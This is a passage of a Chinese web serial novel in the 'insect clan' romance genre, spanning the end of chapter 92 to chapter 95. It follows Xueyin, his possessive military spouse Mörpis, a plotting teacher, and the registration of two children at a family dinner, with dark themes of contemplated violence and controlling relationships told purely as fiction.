佐尔安、兰斯:“……” 呵,嘴脸。 两人交换了一个心照不宣的眼神,该听的已经听完,该说的也说了,这气氛诡异又尴尬的劝导现场也待够了。两人无心再作停留,默契地同时起身,对着莫里亚斯和雪因方向草草行了一礼,便迅速退出了教室。 门扉轻合,隔绝了外界。莫里亚斯笑容淡去几分,重新将注意力完全聚焦在雪因身上。 “还有阿南克…你一直很疼爱他,老师明白。现任虫皇陛下…帝星终究还是得雌虫继承,至今没有明确的继承虫。老师可以帮你……为阿南克铺路。” 他观察着雪因细微的表情变化,强调道,“他可是你的虫崽,你一向最疼他了,对不对?老师只求你一件事,回去好好陪伴你的雌君,早日生下健康优秀的雄虫崽。给阿南克多几个兄弟,对他地位稳固也好。” 提及阿南克,雪因眼底果然掠过一丝温柔。但他还是没有答应,摇了摇头:“阿南克的未来现在提太早了。而且雌虫世界的争斗残酷,我不希望他太早卷进去。” “但这终归是多给他一条选择,不是吗?” 莫里亚斯不肯放弃,语气却若有若无地加重了某个词,“你最疼你这唯一的虫崽了,为他多考虑一条路,总没有坏处。” 又是‘唯一的虫崽’。希利安垂在身侧的手猛地握紧,指节瞬间绷得发白,用力到微微颤抖。 莫里亚斯这才察觉到他的存在,略带不耐地瞥了一眼,挥挥手,如同驱赶一只无关紧要的飞虫:“这里没你的事了,退下吧。” “……是。” 希利安的声音平稳,听不出情绪。他恭敬地躬身行礼,转身,步伐规矩而迅速地离开了教室,仿佛从未有过这样一个沉默的影子存在。 只剩下雪因怔怔地看着他的背影。 确认室内再无闲杂,莫里亚斯立刻拉过一把椅子,紧挨着雪因坐下。 “墨尔庇斯不听话,我知道。委屈我的雪因多年了。” 他话锋一转,“但是没关系,老师早就为你考虑到了。老师…耗费了整整十几年的心血,失败了无数次,才终于做出了这个——” 他从怀中取出一物,珍而重之地放在雪因摊开的掌心。 是一把匕首。造型古朴奇异,通体流转来自极地深寒的幽蓝光泽,仅仅看着就让人骨髓发冷。刃口薄如蝉翼,却隐隐有暗色的纹路流动,散发着不祥的能量波动。 “它能伤到他。” 莫里亚斯的声音如同毒蛇在冰面上滑行,冰冷而确信。他伸出双手,完全包裹住雪因握着匕首的手。他的手很凉,用力很大,几乎要捏碎雪因的指骨。他引导着那只手,将幽蓝的刃锋缓缓调转,对准了前方空无一物的空气。 紧握着雪因的手,身体微微前倾,紫眸死死盯着那点寒芒,一字一顿: “记住,雪因,我的虫崽…” “刀刃,永远朝外。” “对准任何…试图伤害你,或者,” 他顿了顿,声音轻到令人毛骨悚然,“阻碍你生下雄虫崽、阻碍维斯特冕家族未来繁盛的…虫。”—— 作者有话说:再次整理雄虫家族线 莫里亚斯x?—奈孙x曾大皇子/现任虫皇/兰斯洛特-洛伦兹x阿斯特拉-雪因x墨尔庇斯-阿南克 雪因x诺伊斯-希利安 第93章 他是你的亲生虫崽 入夜。 这是墨尔庇斯过去一个月里,第一次踏入王爵府。 原因?他自己也懒得深究。军部永远处理不完的公务,远比这个地方更适合他。 或许…只是那名叫阿南克的雌虫崽子,碍眼得太过了。 一个雌虫,而且身上还流着他一半的血,整日黏在雄父身边,像什么样子? 墨尔庇斯眼底掠过一丝厌恶。在他的认知里,雌虫只有两种:有用的工具,和……觊觎他所有物的竞争者。而阿南克无疑是后者。小小年纪,不将心思放在积累实力上,反而学那些最低等的雌虫,伪装得弱小无害来博取雄虫的关注与怜惜。 自甘堕落,愚蠢透顶。 更令他无法忍受的是,阿南克占据的是雪因的时间与注意力。雪因是他的雄主,他的所有物、战利品、资产。即使他还没有理清应该对乖顺了不少、甚至会对他露出依赖神情的‘资产’,应该该抱怎样的态度。 但任何雌虫,无论是否顶着虫崽或血缘的名义,过度靠近雪因,都是在挑战他,都是对他权威的冒犯。 墨尔庇斯偶尔会不带什么感情地想,当初决定要这个崽子,不过是想着自己不在时,需要一个绝对忠诚、有一定能力的护卫守在雪因身边,保证自己‘资产’完整。一个流着自己血的虫崽,理论上应该更可靠。 但显然,他低估了幼崽对雄父天然的占有欲,也高估了自己对后代可能产生的容忍度。 现在他回来了。既然正主归位,一个对他怀有敌意、并且显然已经长歪了、只知道黏着雄父的雌虫崽子,就显得碍眼了。 或许换一个更听话的会更好,左右也不是多难的事。 毕竟雌虫幼崽还未成年。一场意外,可以解决很多潜在的麻烦。 可惜雪因对阿南克的关注太多。如果这小崽子真的意外夭折,那本就脆弱混乱的小雄虫,会不会崩溃?会不会再次做出折损他‘资产’的事? 想到可能随之而来的麻烦,墨尔庇斯还是暂时搁置这高效的解决方案。 还是太不划算。为了清除一个碍眼的小东西,却要冒着损坏主要‘资产’稳定性的风险。 真是麻烦。他像阿南克这么大的时候,早已独自围剿凶残的成年星兽了。哪像这只崽子,还被躲在雄父怀里,连最基本的独立都没学会。 阿南克需要被好好教导一下,什么叫雌虫的本分,什么叫——保持距离。 所以,他回来了。专程来抓这只不懂规矩的雌虫。只是不巧,阿南克不在王爵府。 只是为了确保教育能及时进行,他逼不得已只能暂住一晚。 仅此而已。 只是疏忽的是,雪因也不在。 他当然不是因为雪因回来的。但一只雄虫,尤其是他养的那只脑子不清醒、极易被骗的小雄虫,脆弱无比的雄虫… 墨尔庇斯面无表情地从军装内袋掏出怀表,金属表盖弹开发出清脆的响声。指针无情地指向晚上八点。 眉骨下压,眸色骤沉。 还不回来,成何体统。不知道外面的世界有多危险么?又忘了外面有多少双眼睛盯着维斯特冕家的唯一继承者?忘了自己一塌糊涂的认知根本毫无防备能力?还是说,又在哪里,被什么不知所谓的低等雌虫用拙劣的手段哄骗住了? 确认法定雄主的安全,也是雌君的义务。 仅此而已。 墨尔庇斯合上怀表,转身便要向外走去,军靴踏在地板上发出沉笃的响声。就在这时一名侍虫,双手高举托盘,上面是一套质地柔软、熨帖整齐的深色常服。 他的脚步顿住。 视线落在自己身上冷硬的元帅制服,暗红底色上仿佛还浸染着星渊归来后的血腥味,胸前的勋章即使在昏暗光线下,也折射出属于绝对力量的锋芒。 ……麻烦。 墨尔庇斯薄唇抿成一条冷硬的直线,伸手取过了那套常服。 不过是换掉这身过于正式的着装。 那脑子又不好的漂亮小东西,见到这身打扮,怕是又要露出茫然的神情。 他厌恶一切不必要的麻烦。仅此而已。 —— 墨尔庇斯踏出浴室,高大身躯随意裹了层浴巾。湿发凌乱,水珠沿起伏的胸腹肌理滚落,水汽氤氲,稍敛其锋,却更衬得体格极具压迫。氤氲水汽平白减少了几分周身惯常凌厉的气场,连那双总是映不出光的黑眸,也被浸润些湿意,难得显得温和。 一道雪白的身影忽的朝他冲来。 他居然第一时间没有发现,几乎要遵循战场本能,将袭击者当场拧断脖颈掼向墙壁。瞬间又反应过来,硬生生刹住致命力道,顺势一带—— “砰”的一声闷响,两具躯体一同跌入柔软宽大的床榻。 墨尔庇斯的床铺是纯粹的玄黑绸缎,冰冷光滑,被他单手牢牢钳制、困在身下的雄虫,仿佛不慎跌落墨玉盘的初雪。银白的长发在深色床单上迤逦散开,越发显得肤色欺霜赛雪。许是刚才那番激烈动作所致,雪因的鼻尖、耳垂乃至关节处都晕开淡淡的粉,他微微喘息着,嘴唇因急促呼吸而微张,湿润的唇瓣在昏暗光线下泛着诱人的水色。 最要命的是那双眼睛。 湛蓝的眸子里没有惊惧,亮晶晶的盛满了狡黠,甚至带着点得意。他放松地摊开双臂,尾音软软地上扬: “投降。” “……不知死活。”墨尔庇斯咬着牙警告。他其实是有些后怕的,这莽撞的小东西,根本不知道一只顶尖军雌的条件反射能轻易要了他的命。“不许再从背后扑过来。” “别这么冷淡嘛。”雪因眨了眨眼,被禁锢着也不安分,“我可是特意来找你的。” “……” “这么久不见…”雪因尾音向上翘,蓝眸微微上扬,“你真的不想我?” “…回来找阿南克罢了。”墨尔庇斯喉结滚动了一下,硬邦邦地道。 “阿南克?”雪因毫不留情地拆穿,“他不是早就被送去我雌父那里学习了吗?我明明告诉过你了呀。” 墨尔庇斯身体僵了一瞬,面不改色地继续扯谎:“…终端摔了,没看到。” “是吗?”雪因拉长了语调,眼底笑意更盛,像只抓住了猎物尾巴的小狐狸,“可后来我发了那么多条信息,你还回了我一句‘无碍’呢。难道…是别的虫用你摔坏的终端回的?” 谎言被揭穿,墨尔庇斯抿紧唇,下颚线绷得死紧,黑眸沉沉地看着身下这张漂亮脸蛋。 半晌,他喉间溢出一声嗤笑,又要继续‘正常发挥’。 雪因好。 雪因不和他吵架。 雪因快速给了他一个台阶下:“好吧,可能我发的信息太多,确实没那么容易被看到。” “……嗯。”墨尔庇斯从鼻腔里挤出一个音节,算是勉强接住了这递到眼前的台阶。 却迟迟没有松开钳制雪因的手。反而就着这压倒性的姿势,身体又沉下些许,拉近了彼此的距离。黑眸一瞬不瞬地凝在雪因微微泛红的眼角,眼神晦暗难明。 “先放开我,”雪因在他笼罩下轻轻挣扎,“我是来和你说正事的。” 墨尔庇斯顿了片刻,指腹薄茧,近乎惩罚般重重擦过雪因细嫩的手腕内侧,硬生生磨出一道刺目的红痕。 雪因也不急,也不喊痛,蓝眸安静地看着他,就这么由着他玩。 最终还是墨尔庇斯先败下阵来,松开了手。 雪因却没有立刻跑掉,坐起后身子一歪,又软软地倒回他怀里,甚至十分贴心地将那只刚刚被虐待过、他不舍得松开的手,重新塞回他宽大的掌心。 “明明就是回来看我的。”雪因贴着墨尔庇斯胸膛,用他能听见的音量,含糊地嘀咕了一句。 又在墨尔庇斯恼羞成怒之前,迅速转移话题。 神色认真了些:“我好像记得。你一直在我和我重复…说我们有一个虫崽,白色头发,紫色眼睛。你在哭,一直在和我说。” “我可没有。” “我也觉得是梦。”雪因低垂眼帘,长睫困惑地轻颤,“我差点就信了。可每次看到你,又觉得不可能。” “嗯?” “你是黑发黑眸,按常理,我们的虫崽应该…”雪因突然想通了关窍,蓝眸倏然亮了一瞬,随即郑重其事地望向他,得出结论:“对,阿南克才更像是我们亲生虫崽。” “……”墨尔庇斯喉间溢出一声轻笑。 被这小雄虫的奇特逻辑带着跑,反倒紧绷感消散不少。他放松下来,指腹摩挲着掌中那只微凉柔软的手,雪因顺势更贴近他胸前,温顺地靠着。 “对,他是我们亲生虫崽。” 墨尔庇斯忽的就说了出来,他有些期待小雄子的反应。或许是这个雄虫表现得太过亲昵了,毫不设防,让墨尔庇斯有些忍不住想要看他哭,想要那双眼睛露出从前一样破碎的眼神。 “你能这么想真是太好了!” 雪因的眼眸却瞬间亮起,欣喜地看着他。 墨尔庇斯:“……?” 半晌,他深吸一口气,一字一顿地重复:“他就是我们亲生虫崽。” “嗯!他是我们亲生虫崽,”雪因松了口气,不再看他,将脸重新埋进他颈窝,声音闷闷的,却轻松了不少,“我一直觉得你太不喜欢他,特别是回帝星之后,总对他有敌意。他是个很好的虫崽,你不要再对他那么凶了。既然你承认他现在是我们的亲生虫崽,以后要对他好一点。” 墨尔庇斯“……” 或许虫无语的时候是会笑出声的,事实上他确实忍不住冷笑出声。不想再说话! 和这只脑子坏掉的小雄虫较真,从一开始就是个错误。 他收紧手臂,将怀里温暖糊涂得让他无计可施的雪色圈得更紧了些。 “所以,”雪因在他怀里动了动,声音恢复了些许正经,“我想明天回去,把阿南克正式登记在……”他顿了顿,“登记在我雌父名下吧,跟我雌父姓蒙——” “?!不可以。” 墨尔庇斯骤然打断。 他的虫崽!即便他平日看那黏别人雄主的小崽子不顺眼,也绝不意味着能允许他改姓,被划到别的家族名下! “嗯?” “……我自有安排。”墨尔庇斯移开视线,生硬地给出一个解释,虽然听起来更像是借口。 “你能安排什么?”雪因不算质疑,只是陈述一个事实,“你连他现在学习进度都不知道。” “……我是他亲生雌父。”墨尔庇斯将雪因刚刚强调的话原样掷了回去。“你刚说的。” “……”雪因与他对视片刻,终于败下阵来,有些不甘心地轻哼一声,“好吧,那依你。但这个月内我要看到你的安排。我的虫崽可不能在外面漂流太久。” “嗯。”墨尔庇斯不以为然。 “还有一件事,”雪因靠回他胸前,声音低了些,带着一丝罕见的犹豫,“我…很在意。” “说。” “今天在克斯安蒂星,我遇见了一只叫希利安的雄虫。” 墨尔庇斯眼眸未动,只冷淡地“嗯”了一声作为回应。 “我总觉得……”雪因斟酌着词句,试图在记忆中打捞线索,“我以前是不是跟你提过,我有一个…长辈?”他试图思考那个人的有关信息,却一片模糊。 “长辈?你雌父?”墨尔庇斯嘴角勾起。 “不是雌父!你别老是‘雌父雌父’的,”雪因蹙眉打断他甩开墨尔庇斯把玩他手指的手,下一秒被墨尔庇斯用力抓回,牢牢握住。他叹了口气,神色复杂起来:“我记得…当初在他身边,我投喂、孵化过一枚虫蛋。希利安的信息素让我感觉很熟悉,年龄也对得上…我怀疑…不,他一定是我的虫崽。我投喂长大的虫崽。” 墨尔庇斯挑眉,不知出于什么意味,干脆利落地承认:“嗯,对,他是。”紧接着他反问道,声音玩味:“你觉得你对那个虫崽有亏欠?可我怎么记得,你不是一直相当厌恶你那位所谓的‘雌父长辈’么?” “他不是我雌父,”雪因再次纠正,语气里透出不耐,“墨尔庇斯,别打岔。”他试图抽回手,却被握得更紧,指节甚至被带着警告的意味的不轻不重地捏了一下。 “是我欠他们的。”雪因压下那点不适,蓝眸里蒙上歉疚,“他…其实对我很好。当初也是想保护我。” “……嗯。”墨尔庇斯低应一声,似讥诮。语气随意得像在决定一件无关紧要的小事:“那把希利安登记在你名下吧。” 他倒是好奇,希利安占着他‘墨尔庇斯的虫崽’这个身份,会得到雪因怎样的补偿?不过是一个低等级、易于掌控的雄虫,不足以威胁到雪因的地位,能稍微安抚雪因莫名执着的亏欠感,还能恶心莫利亚斯。只要不越界,便是一步闲棋。 雪因一怔,抬眸看他:“你不介意?” 他有些紧张舔了舔唇瓣,小心翼翼地问:“我觉得这样对你来说不公平——” “没什么公平不公平。”墨尔庇斯打断他,语气带着居高临下的掌控感,“而且,我们不是已经有阿南克这个亲生虫崽了么?”他刻意咬重了‘亲生’二字。 可他没有说谎。 雪因的蓝眸骤然亮了起来,伸手环住墨尔庇斯的脖颈,柔软的发丝蹭过对方的下颌和锁骨,带来一阵细微的酥麻。呼吸间的温热气息毫无阻隔地喷洒在墨尔庇斯敏感的颈侧动脉处,声音柔软:“你真好。” 颈侧传来的呼吸与触感过于亲密,超出了墨尔庇斯习惯的安全距离,他手臂略显僵硬地悬在半空,又缓缓垂下,落在了身侧的床单上,五指无意识地收紧抓住床单,随即又强迫自己放松下来,任由雪因抱着。 清甜温暖的气息气息钻入鼻腔,滑过喉间,将自己包裹,他闭上眼,细细感受着。终是柔软了几分。 补偿也好,亏欠也罢,总归是无谓的情感累赘。若这枚棋子日后碍眼,或生了不该有的心思—— 杀了便是—— 作者有话说:死性不改的老墨,和顺利给虫崽们上户口的雪团。 第94章 跟你雄主说话不会跪着么…… 只是登记个身份,简单得很。 至少对雪因来说,只是一句话的事。但话是这么说,他还是一大早便郑重其事地堵住了墨尔庇斯,执意要他陪同前往雄父的府邸。 衣着刻意挑选过,穿上了符合维斯特冕继承人身份华丽繁复的礼服。此刻到了最后一步——挑选披风。 墨尔庇斯早已穿戴整齐,一身剪裁利落的制服衬得身姿愈发挺拔冷峻。他抱臂靠在门边,没什么表情地凝视着雪因在一堆华服间犹豫。 侍虫们捧着几件风格各异的披风,柔声向雪因介绍: “殿下,试试这件星织锦吗?它选用北境冰蝶翼膜捻成的银线混织成月华缎,由宫廷画师历时三月手绘出维斯特冕家族传承星图…袖口那圈银貂毛还是您当初嫌它看着太冷清,特意吩咐我们后加上的。” 他抖开披风,厚实温暖的蓝色呢绒面上,确实有一圈蓬松的银灰色毛领,看着就暖和。 “殿下,这件选暮云纱织成的采用上供的天鹅绒,用鳞粉染成初升朝阳般的绯红渐变。下摆有用金线绣有古老的祝福符文,寓意光明与繁荣。” 还有一件被妥帖地托着,颜色是沉稳的墨绿。“这是…蒙特金德公爵从前为您准备的。以前说是等您再长大些,出席正式场合用。” 雪因的目光在这几件披风上游移,指尖无意识地捻了捻那圈银貂毛,又轻轻抚过墨绿丝绒细腻的表面。他拿起那件暮云纱的对着镜子比了比,微微蹙眉,似乎觉得太招摇;又裹上星织锦的那件,暖和是暖和,却显得有点厚重了。 墨尔庇斯的声音从身后传来,平淡无波:“只是去见你雄父,不需要这么隆重。” 雪因从镜中看向他,边配合侍虫更衣边说道:“这可是为了我的希利安要一个名分,总该郑重些。” 墨尔庇斯不置可否。 “他很可怜的,”雪因转过身,对着墨尔庇斯,眉头轻轻皱起解释着,“当初……我照顾他那会儿,他雌父对他很不好,整天虐待他。不让我喂他信息素,他饿得可惨了。” “噢?” 墨尔庇斯挑眉,黑眸里掠过恶劣的兴味,“那你这般心疼他,当时怎么没跪下求他雌父,高抬贵手?” 雪因被他这话噎了一下,白皙的脸颊微微涨红,有些憋屈地小声反驳:“……没跪。但我求了。” 他顿了顿,声音更闷,带着点懊恼,“然后他雌父连我一起教训了。” 可恶! 忍一时风平浪静,退一步越想越气。 现在雪因还能想起那段时间凄惨的生活,无比清晰。 墨尔庇斯看着他那副又委屈又有点气鼓鼓的模样,忽的心头那点烦躁消散了些,嘴角向上弯了一下,转瞬即逝。 目光落在侍虫手中那件沉稳的墨绿丝绒披风上,直接替还在纠结的雄虫做了决定:“就那件墨绿色的。” “嗯?”雪因瞥了他一眼。 侍虫依言恭敬地将那件厚重华贵的墨绿披风捧上前,雪因却忽然伸手将披风从侍虫手中抓了过来。“都退下。” 侍虫们训练有素,立刻垂首敛目迅速地退出房间,轻轻带上了门。 只剩他们两虫。 雪因转过身,看也不看,抬手便将手中那团墨绿丝绒朝着墨尔庇斯怀里。更准确地说,是冲着他那张总是没什么表情的脸扔了过去。 力道不重,故意挑衅般。 墨尔庇斯甚至没抬手,精神力便轻巧地托住披风,让它温顺地悬停在他身前。他抬眸,黑沉沉的视线落在雪因脸上,眉峰几不可察地动了动:又闹什么? 雪因却只是仰着脸看他。晨光透过高窗,落在他雪白长发和珍珠领扣上,晕开一层朦胧的光边。身上那套王爵制服每一处细节精致得无可挑剔,收束的腰线,笔直的小腿线条,连同微微抬起的、线条优美的下颌,都写满了与生俱来的矜贵。 “给我穿。”雪因命令道。 没什么特别的理由,就是忽然看墨尔庇斯那副永远置身事外、游刃有余的模样不顺眼。 雪因站在那里,像只被惯坏了的、漂亮得惊心动魄的名贵猫咪,竖起对墨尔庇斯来说并不怎么锋利的爪子,亮出底下柔软的粉色肉垫,任性又理直气壮地要求对方俯首。 墨尔庇斯静默地看了他几秒,悬停的披风缓缓落下,被他伸手接住,握在掌中。厚重丝绒的质感与他掌心皮肤相触。他迈步上前,高大的身影带着强烈的压迫感,将雪因整个笼罩其中。 雪因却丝毫未怯。一回生二回熟,连因靠近而生的心悸,也快习以为常。 微微抬高了精巧的下巴,蓝眸直直撞进墨尔庇斯深不见底的黑瞳里。看着对方那张依旧没什么表情的面孔,唇角带着挑衅的弧度: “跟你雄主说话,” 他顿了顿,眼尾那抹天生的绯色似乎更艳了些,“不会跪着么?” 墨尔庇斯明显怔了一瞬,开始重新审视雪因。 雄虫丝毫不怯,矜贵的仰视着他,哪怕自身还在他的阴影下,哪怕自己随便一动都能要了他的命。 他笃定自己不会伤害他,或者说,他根本未曾想过伤害的可能性。还是就算伤痕了能随意原谅? 天真。 愚蠢。 墨尔庇斯他没有立刻回应,目光沉沉地锁着雪因的脸,从那挑衅含笑的眼眸,到微微上扬的唇角,再到随着呼吸轻轻起伏的、被珍珠领扣束着的白皙颈项。 室内一片寂静,只有窗外隐约的鸟鸣。 握着披风的手紧了紧,墨尔庇斯用另一只空着的手拂过雪因耳畔一缕滑落的雪发,将它们轻柔地别回耳后。 他微微倾身,拉近到呼吸几乎可闻的距离,低沉的声音擦过雪因的耳廓: “殿下想要我跪?” “你不应该跪吗?”雪因迎上他的眼眸,只是做符合自己身份的事情而已,曾经的…谁教过他的。 “……”墨尔庇斯注视着他,忽的笑了一下。随即右膝沉稳地落下,触及柔软的地毯,发出闷响。“如您所愿。” 他应得干脆,单膝点地,背脊却依旧挺得笔直如松。 墨绿色自然是极其衬托雪因的,披风在他手中展开,浓郁沉静的色泽衬得雪因裸露在外的脖颈与手腕愈发白皙,透着一种不染尘埃的矜贵。 抬手为雪因系上前襟繁复的宝石扣。他不是很熟练,动作称得上生疏,只用作战斗的手从未做过如此温柔小意的事,金属扣刮过精细衣料的声响清晰。指尖带起的力道让披风布料勒过雪因的锁骨,带来令人不快的牵扯感。 雪因立刻蹙起了眉。 他也没打算忍,垂眸瞥了一眼,抬起穿着精致软靴的脚,不轻不重地踢在墨尔庇斯大腿侧方。 “我记得,”雪因的声音从上方落下,带着一丝被冒犯后的冷调,“雌虫礼仪课上教的,可不是这种敷衍的单膝跪法。” 墨尔庇斯当然懂。完整的雌虫侍奉礼应是双膝触地,姿态谦卑,以完全臣服的姿态打开,但他不愿配合。 “适可而止,殿下。”他抬首迎上雪因的目光,嘴角勾起一抹没什么温度的弧度,警告不知死活的崽子见好就收。“您除了继续虚张声势地下命令,还会什么?” “适可而止?” 雪因微微俯身,靠近他耳边,“你倒是说说,我若不止,你又能如何?你以为,我真只会虚张声势?” 墨尔庇斯自下而上地看他,黑眸沉静,“那么,殿下还会什么?” 氛围变得危险起来,藏匿在暗处的精神力开始聚拢。 …… 还真的就没办法了。雪因想着,气势却不输,眼眸都没有闪。 “还会让你一直这样跪下去,” 他开口不退反进,指尖落在墨尔庇斯下颌,迫使他的视线追随着自己,“一次又一次。而你,每一次,都必须听我的。” 这个气势还是和墨尔庇斯学的。 墨尔庇斯嗤笑一声,反问道:“若我不愿呢?您又能拿我怎么办?” 虚张声势的小崽,一点威胁性都没有。 雪因的指尖顺着他下颌的线条,极轻地滑至唇角,停住。他歪了歪头,“那就换一个呀。换一个……更听话、更懂得怎么跪、怎么服侍雄主的虫。你觉得如何?” “你敢!——” 墨尔庇斯的声音骤然拔高,在话音出口的同一瞬,他肌肉绷紧,眼看就要站起,将这个不知死活的虫崽再度教一遍规矩,要是之前发生的事、学的规矩、礼数、敬畏通通忘了,他不介意重新再教育。 但话音未落。 雪因忽然弯下腰,张开手臂,结结实实地拥抱住了他。微凉湿润的轻吻落在他额间。 墨尔庇斯浑身一僵,怒意被猝不及防的吻堵在了胸口,化作一片空白。 还没等他反应过来,雪因已经松开手,顺势抓住他的手腕,将他从地上拉了起来。 年轻的雄虫脸上哪儿还有半分骄纵,只剩下恶作剧得逞般亮晶晶的笑意。 “好了好了,别玩啦。” 雪因拽着他往门口走,语气轻快,“快走吧,再磨蹭下去,雄父该等急了” 墨尔庇斯被他拉着,脚步跟了上去,额间仿佛还残留着温热触感,搅得他心头那池深潭波澜暗涌,一时不知该如何发作。 第95章 婚事 “雄父、雌父,日安。” 雪因牵着墨尔庇斯的手,声音比平时绷得紧一些 主位上的洛伦兹放下手中的政务简报,紫眸扫过并肩而立的两虫,尤其在墨尔庇斯身上停留了一瞬,才微微颔首。 “来了。” 他声音淡淡。 一旁的阿斯特拉起身,笑容温暖:“快过来坐。正好,陛下新赐了东境来的雾茶和浆果,还想着让你尝尝。” 侍虫添上餐具。 雪因被雌父拉着坐下,墨尔庇斯自然地坐在他身侧。雪因却有些坐不住,指尖在桌布上无意识地划着。 “雄父,雌父,” 他深吸一口气,抬起头,“我……有件很重要的事,想告诉你们。” 洛伦兹抬眼:“嗯?说说看。我的小雄子还有什么秘密,是雄父不知道的?” 雪因舔了舔嘴唇,再次侧头看向身边的墨尔庇斯。墨尔庇斯没有看他,只是点了一下头。 “阿南克…其实是我和墨尔庇斯的亲生虫崽。” “咳——!” 洛伦兹一口茶差点呛住。 阿斯特拉脸上的笑容也瞬间凝固。 “雪因,你刚才说…阿南克是你们俩的…亲生虫崽?” 洛伦兹重复了一遍,确保自己没听错。 “对!” 雪因用力点头,心虚得很,但还是坚定地说道,“他是我们的虫崽!是我和墨尔庇斯以前…生的。” 阿斯特拉迅速调整好表情:“哎呀,原来是这么回事。看你这虫崽这么郑重其事,吓我们一跳。” 他轻轻拍了拍洛伦兹的手臂,示意他接话。 洛伦兹却看向墨尔庇斯:“哦?这倒是…我们之前不太清楚。墨尔庇斯,你也这么认为?” 墨尔庇斯抬起眼,对上洛伦兹审视的目光:“自然。” …… 洛伦兹一口气堵在胸口,上不去下不来。他了解墨尔庇斯,这雌虫绝不会在这种事情上随口附和,除非有他自己的算计,或许雪因现在认知状态就是如此,他只是顺着说。 雪因见雄父雌父似乎接受了这个事实,松了口气,但随即又想到什么,连忙补充:“真的!你们看,阿南克的头发是黑色的,眼睛也是,和墨尔庇斯一样!而且…而且他长得也很漂亮,和我很像!” 他越说越觉得有道理,蓝眸亮晶晶的。 阿斯特拉简直要被自家雄子这通漏洞百出却又理直气壮的论证逗笑了,哪个虫族会凭外貌认虫。但他还是强忍着笑意,连连点头:“是是是,像,都像。是我们之前没留意。” 他一边说,一边给洛伦兹使眼色,意思是‘虫崽说什么就是什么,别较真,顺着他顺着他’。 洛伦兹揉了揉眉心,决定放弃在这件事上纠缠,阿南克从诞生起就在雪因名下,雪因能弄错他们这些虫可不会。他摆摆手,“多大点事,也值当你这么正式地宣布。阿南克那虫崽呢?今天怎么没一起带来?” “他……” 阿斯特拉接过话头,语气自然,“他今天有训练任务,一早就去了。听说雌父要来,还紧张了一下,说晚点再来拜见。” 他看向雪因,温和地劝道:“先吃饭吧,菜要凉了。” 事实上是阿南克听说雌父墨尔庇斯要来,脸刷的一下阴沉下来,说有任务就不来了。 雪因却没有动,他放在膝盖上的手悄悄握紧了。他看了看身边慢条斯理开始切割食物的墨尔庇斯,又看了看已经拿起餐具的雄父雌父,咬了咬下唇。 “还……还有一件事。” “还有?” 洛伦兹挑眉,这次是真的好奇了,“我的小雄子,你今天是要给雄父多少‘惊喜’?” 雪因的脸更红了,这次是紧张的。他无意识地往墨尔庇斯身边靠了靠,才低声地说:“希利安…也是我的虫崽。” “啪嗒。” 洛伦兹的叉子掉在了镶金边的瓷盘上,发出清脆的声响。 阿斯特拉脸上的笑容彻底僵住。 两虫再次对视,这次眼神里的疑问几乎要满溢出来。 希利安!他们当然知道希利安是谁!问题是…雪因怎么会突然提起他?他不是应该不记得了吗? 洛伦兹迅速收敛失态,捡起叉子,目光再次射向墨尔庇斯。墨尔庇斯依旧面无表情,仿佛没听到雪因的话,专心对付着盘中的食物。 阿斯特拉率先打破沉默,笑容重新变得温和,只是稍微有些发干:“希利安啊…嗯,那孩子,也是个好虫崽。” “雪因啊,你要是喜欢,多关照那虫崽也是应该的。多个虫崽……也挺好,热闹。” 洛伦兹看着自家雌君这番炉火纯青的打圆场功夫,又看看雄子那副认真表情,再看看旁边那个装聋作哑的墨尔庇斯,只觉得额角隐隐作痛。 他放弃了追问,也放弃了理清这团乱麻,随意挥了挥手。 “…行了,你爱认几个认几个。” 他重新拿起叉子,语气复杂,“先吃饭。有什么事,吃完再说。” 雪因紧绷的肩膀终于松懈下来。 但洛伦兹语气一转,带着属于维斯特冕家主和帝国皇太子的清晰冷冽:“但是,雪因,维斯特冕家继承虫的身份,不能乱给。希利安等级低了些。” 雪因沉默一瞬。他当然明白雄父的意思。让希利安挂名是一回事,给予他维斯特冕家继承序列的资格是另一回事,触碰到家族的规则与骄傲。 但他也知道这不是纠缠的时候,乖巧的点了点头。“我明白的,雄父。” 至少能为希利安争取到这个姓氏的庇护,已是目前能做到的最好结果。雪因下意识地看向墨尔庇斯,后者却依旧面无表情,仿佛对此早有所料。 雪因决定暂时搁置这个棘手的问题,转而提起另一件萦绕心头的事:“雄父,我听说…陛下,您现在是…皇太子了?” 洛伦兹叉起一块水果,送入口中,细嚼慢咽后才淡然回应:“嗯。” 他显然不愿多谈,“这些是大人的事,我们会处理妥当。你只需要知道,以后不会再有任何不长眼的东西,敢把主意打到你头上。” “所以之前确实有过,对吗?莫里亚斯老师他之前是不是真的想杀我?” 雪因敏锐的问道。 “他年老,犯糊涂也是正常的事。”洛伦兹嗤笑一身,毫不掩饰怒意,“别怕,乖乖,雄父会替你报仇。” “噢…” “那他为什么想杀我?” “哐当!” 雪因话音刚落下,阿斯特拉面前的汤勺突然脱手,他立刻俯身顺势跪下,“哎呀,瞧我这不小心。” 跪的速度够快,以至于洛伦兹没有第一时间发作,于是阴沉的脸色带着怒意就转向了从始至终像个局外虫般的墨尔庇斯身上,“是啊,为什么呢?墨尔庇斯,你来说说看?莫里亚斯那只老虫子,当初是发了什么疯?” 墨尔庇斯放下刀叉,用餐巾慢条斯理地擦了擦嘴角,抬起黑眸迎上洛伦兹目光:“自然是年纪大了,精神不稳,容易犯糊涂。这样的虫哪天因为痴呆不慎出了什么意外,也是合情合理的事。” 洛伦兹闻言,沉默了片刻,“不,他现在还不能死。” 一直观察着他们之间暗涌的雪因开口,“他是因为觉得…我和墨尔庇斯在一起,拉低了身份,羞辱了整个雄虫阶层,所以才想除掉我,是吗?” 洛伦兹没有立刻回答。 半响。 “我的雪因,你刚才提到的那个希利安…现在仔细想想,或许,他会是个不错的继承虫呢。” 等级至上?就因为他那只知道盯着基因和等级的祖父,认为雪因的选择玷污了高贵的血脉,便对自己的亲雄孙起了杀心?洛伦兹心底被强行压抑的暴怒找到了一个讽刺的宣泄口。既然对方如此看重等级和正统,那么,他就亲手将一个对方最厌恶、最鄙夷的低等级雄虫,推到那个正统的位置上去。 在雪因拥有真正的继承虫前。 雪因敏感地察觉到了雄父语气不同。他看向洛伦兹,又瞥了一眼似乎毫无反应的墨尔庇斯,最终选择了沉默。 不管雄父出于何种目的,这对希利安而言,至少表面上,是一件好事。 “希利安那孩子,是挺乖巧的,也听话。” 阿斯特拉眼看最危险的话题风波过去,立刻站起身重新活跃气氛,一边为洛伦兹布菜,一边温声附和。 “确实听话。” 洛伦兹拿起酒杯,轻啜一口,嘲讽几乎要溢出来。 